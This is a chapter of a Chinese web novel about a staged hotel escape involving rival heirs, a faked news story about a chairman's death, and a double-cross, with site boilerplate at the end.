然而车子开出去,夏灼灼却注意到有辆车不远不近地跟着她。 她没有打草惊蛇,继续以原来的车速行驶。 但为了以防万一,她给霍刚打了电话。 “刚子,是你的车在跟着我吗?” “没有……有人盯上您了?” “是。” “是记者,还是……” “我先看着办,你不用担心,有问题我再打给你。” “好。” 挂断电话,夏灼灼慢慢提起了车速。 这个点晚高峰已经过去,车子又避开车流多的路线,车速飞快。 而她身后那辆车也开得飞快,且一直保持着同一个距离。 看得出来,对方车技不错。 那就可以排除是记者的嫌疑了。 大概率是司谨言的人。 夏灼灼微微抿唇,一个拐弯,往高架路上行驶。 车流多起来,对方追上来便没有那么容易。 夏灼灼一路超车,等下了高架,已经将那辆车远远甩开。 她这才往真正的目的的开去。 一路眼观六路,防止有人跟踪后,终于到达了司谨言所在的酒店。 她走正门上的楼。 到了司谨言房间的门口,她抬高音量道:“司先生让我来问问他,他想好了没有,开门吧。” 一边说,一边跟门口的两人交换了个眼神。 那两人会意,开口道:“我们这边没收到少爷那边的通知……” “怎么?要我当面打电话给他吗?”她的语气里有明显的不悦。 两人害怕起来。 “当、当然不用,夏小姐,请。” 房门在这时候被打开,夏灼灼走了进去,转身关上了房门。 司谨言立刻迎了上来。 夏灼灼做了个噤声的手势,指了指卧室。 司谨言看懂了,跟着她一起往卧室里去。 “房间隔音不太好,我们小心说话。”夏灼灼率先开口。 司谨言立刻点头,问:“外面情况怎么样?你说今天来带我出去,怎么现在才来?天都快黑了。” 夏灼灼微微蹙眉。 “大白天的,你要我怎么送你出去?把所有人都打死吗?” “……” 司谨言噎了下,说:“的确是这个道理,是我太心急了。” “心急吃不了热豆腐,耐住性子,我们的机会已经来了。” “什么机会?” 夏灼灼将声音压得更低了一点。 “司董事长死了。” 司谨言倏然看向她。 夏灼灼平静地说:“就是因为这个事儿,我等到现在才有机会从医院溜出来。” “怪不得……司慎行肯定要压下这个消息。至少得等到风头过去,才会让他死掉。” “没错。所以今天就是我们的机会。外面议论纷纷,说他囚禁你,还有人猜测他跟我一起故意在手术过程中动手脚。所以他必须要把消息压下来。” “真是个混账!” “他的确是个冷血的人,如果我继续跟着他做事,早晚死在他手里。” 说这话的时候,夏灼灼眉头微蹙,眼眸冷沉,似是很不爽。 这章没有结束,请点击下一页继续阅读!司谨言观察着她的表情,开口道:“你放心,我跟他不是一类人,你替我做事,我绝不会让你有风险。” 夏灼灼漫不经心一撇唇。 “我用不着你这些口头承诺,事成之后,把我应得的那份给我就行。” 她毫不掩饰的目的性和贪婪心,让司谨言对她的戒备又少一点。 他可以放心跟她合作了。 当然,事成之后,他不可能给她那么多股份。 等他重新坐回他原本的位置,想除掉这个女人,不过是一句话的事。 司谨言压下眼底的阴冷,一副很讨好的样子问她:“夏小姐,那我们现在该怎么办?” 他能感觉出来,夏灼灼很瞧不上他。 当然,不只是他,夏灼灼也瞧不上司慎行。 这个女人,眼高于顶,故而他要把自己的姿态放低一些,让她以为自己掌控了全局,才会安心替他做事。 夏灼灼果然就开始说她的计划。 “司慎行已经发了通稿,对外说,司董事长手术顺利,现在在恢复中。我们要做的,就是揭穿他谎言。” 司谨言深以为然。 他第一次对夏灼灼说起了他的人。 “当时跟我一起回国的,除了这几个跟我一起被关押在这个酒店的人之外,还有两个人在外面。网上那些针对司慎行的新闻,就是我的人弄出来的。” 夏灼灼诧异看他一眼。 “看来你也不算太蠢,知道造势。” 司谨言心说:那是自然。 面上却笑道:“我要是太蠢,也不值得夏小姐帮忙。” 夏灼灼轻轻一点头,道:“既然有帮手,那再好不过了。出去之外,你让他们对外发表声明,说司董事长已死,而我们,需要悄悄潜入医院,拍下司董事长已经死亡的照片。” 司谨言用力点头。 “我也是这么计划。这么一来,他百口莫辩。” “事不宜迟,现在就行动吧。” “我要怎么出去?” “爬窗。” 夏灼灼指了指卧室的窗户,说:“上次你闹出来的动静太大,引起他们的注意,所以我这次带了工具过来,你悄悄爬出去。我从正门出去,再跟你去外面汇合。” 她一边说,一边打开自己身上的羽绒服。 里面藏了一条很长的登山绳。 她提司谨言安装好,随后道:“等我出门之后你再爬出去,我们去酒店后门汇合。” 她指了下酒店后门的方位。 司谨言应声:“好。” 两人又说了一些细节,随后开始分头行动。 夏灼灼打开门,面不改色走出去。 “他已经同意司先生的提议了,明天一早就走。我回去跟司先生报告。” “是。” 两个人一边应声,一边将房门再次反锁。 房门一关紧,两人就对着夏灼灼点了下头。 无声的交流只一瞬间,夏灼灼很快迈步离开了。 五分钟后,她来到了酒店后门。 她耐心等着。 可等了足有十分钟,司谨言的鬼影都没等到。 她不禁不安起来。 就算司谨言再笨手笨脚,这会儿也应该从楼上爬下来过来了。 不可能要这么久的时间。 而酒店里的人,也不可能阻拦他。 大家都是在配合她演戏。 一定是司谨言自己那边出什么问题了。 她拉开车门上车,快速给守在司谨言房间门口的两个保镖打电话。 “确认一下,司谨言还在不在房间。” 很快两个人回复她:“人不在房间了。” 夏灼灼心口用力跳动着。 司谨言果然是自己跑了! 该死的! 她立刻挂断电话,把她这边的情况告诉司慎行,又说了自己的猜测。 “我来的时候,有辆车跟踪我,后来被我甩开了。我怀疑,司谨言是被那帮人接走了。司谨言跟我提过他们,比起我,司谨言更信任他们。计划可能会出现差池。” “好,我知道了,你也小心。再没出现其他状况的情况下,先按照计划实行。” “好。” 夏灼灼挂断电话,启动车子重新往医院开去。 与此同时,司谨言正坐在一辆黑色轿车上。 他身边是自己另外两个手下。 两个人是跟踪夏灼灼过来的。 高架上,他们被夏灼灼甩开了。 但后来他们又追上来了。 只是换了一辆车,夏灼灼没注意到他们。 他们正准备强行进去抢人,就看到司谨言自己顺着绳索从楼上爬下来了。 于是他们当即迎上去,将司谨言接到了车上。 “少爷,我们现在立刻把您送去机场,我们直接回欧国。” 喜欢全能真千金归来,发现家人住狗窝请大家收藏:()全能真千金归来,发现家人住狗窝更新速度全网最快。